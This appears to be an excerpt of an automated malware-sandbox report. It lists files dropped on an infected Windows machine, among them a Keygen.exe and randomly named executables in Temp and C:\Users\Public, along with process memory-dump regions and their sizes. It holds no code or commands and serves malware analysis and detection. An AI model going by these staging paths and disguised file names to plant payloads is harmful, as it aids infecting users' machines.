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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Public\sji.exe

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C:\Users\Public\sji.exe

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C:\Users\Public\sji.exe

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\Users\Admin\AppData\Local\Temp\4BC0.tmp\Keygen.exe

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\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Public\sji.exe

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\Users\Public\sji.exe

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memory/1060-29-0x0000000000000000-mapping.dmp

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memory/1184-17-0x0000000000000000-mapping.dmp

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memory/1292-31-0x0000000000000000-mapping.dmp

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memory/1296-10-0x0000000000000000-mapping.dmp

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memory/1476-21-0x0000000000000000-mapping.dmp

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memory/1476-25-0x00000000704A0000-0x0000000070B8E000-memory.dmp

Filesize
6.9MB

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memory/1476-38-0x0000000001280000-0x0000000001281000-memory.dmp

Filesize
4KB

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memory/1476-44-0x0000000004BF0000-0x0000000004BF1000-memory.dmp

Filesize
4KB

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memory/1508-20-0x0000000000000000-mapping.dmp

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memory/1508-24-0x00000000704A0000-0x0000000070B8E000-memory.dmp

Filesize
6.9MB

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memory/1508-56-0x0000000005500000-0x0000000005501000-memory.dmp

Filesize
4KB

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memory/1624-15-0x0000000000000000-mapping.dmp

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memory/1632-70-0x0000000006370000-0x0000000006371000-memory.dmp

Filesize
4KB

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memory/1632-27-0x00000000704A0000-0x0000000070B8E000-memory.dmp

Filesize
6.9MB

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memory/1632-13-0x0000000000000000-mapping.dmp

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memory/1632-64-0x00000000058D0000-0x00000000058D1000-memory.dmp

Filesize
4KB

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memory/1632-69-0x0000000005910000-0x0000000005911000-memory.dmp

Filesize
4KB

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memory/1632-85-0x0000000006480000-0x0000000006481000-memory.dmp

Filesize
4KB

Download
memory/1632-77-0x0000000006450000-0x0000000006451000-memory.dmp

Filesize
4KB

Download
memory/1644-26-0x00000000704A0000-0x0000000070B8E000-memory.dmp

Filesize
6.9MB

Download
memory/1644-50-0x0000000001290000-0x0000000001291000-memory.dmp

Filesize
4KB

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memory/1644-12-0x0000000000000000-mapping.dmp

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memory/1784-0-0x0000000000000000-mapping.dmp

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memory/1868-4-0x0000000000000000-mapping.dmp

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memory/1868-5-0x0000000000000000-mapping.dmp

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memory/1876-37-0x00000000704A0000-0x0000000070B8E000-memory.dmp

Filesize
6.9MB

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memory/1876-33-0x0000000000000000-mapping.dmp

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memory/1884-32-0x0000000000000000-mapping.dmp

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memory/1884-36-0x00000000704A0000-0x0000000070B8E000-memory.dmp

Filesize
6.9MB

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memory/1916-8-0x0000000000000000-mapping.dmp

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memory/1924-11-0x0000000000000000-mapping.dmp

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memory/2032-18-0x0000000000000000-mapping.dmp

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memory/2548-104-0x0000000000000000-mapping.dmp

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memory/2600-110-0x0000000000000000-mapping.dmp

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memory/2624-114-0x0000000000000000-mapping.dmp

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memory/2676-122-0x000000000043FCC3-mapping.dmp

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memory/2676-126-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/2676-121-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/2696-127-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/2696-130-0x000000000041A684-mapping.dmp

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memory/2696-134-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/2724-131-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/2724-133-0x0000000000417A8B-mapping.dmp

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memory/2724-136-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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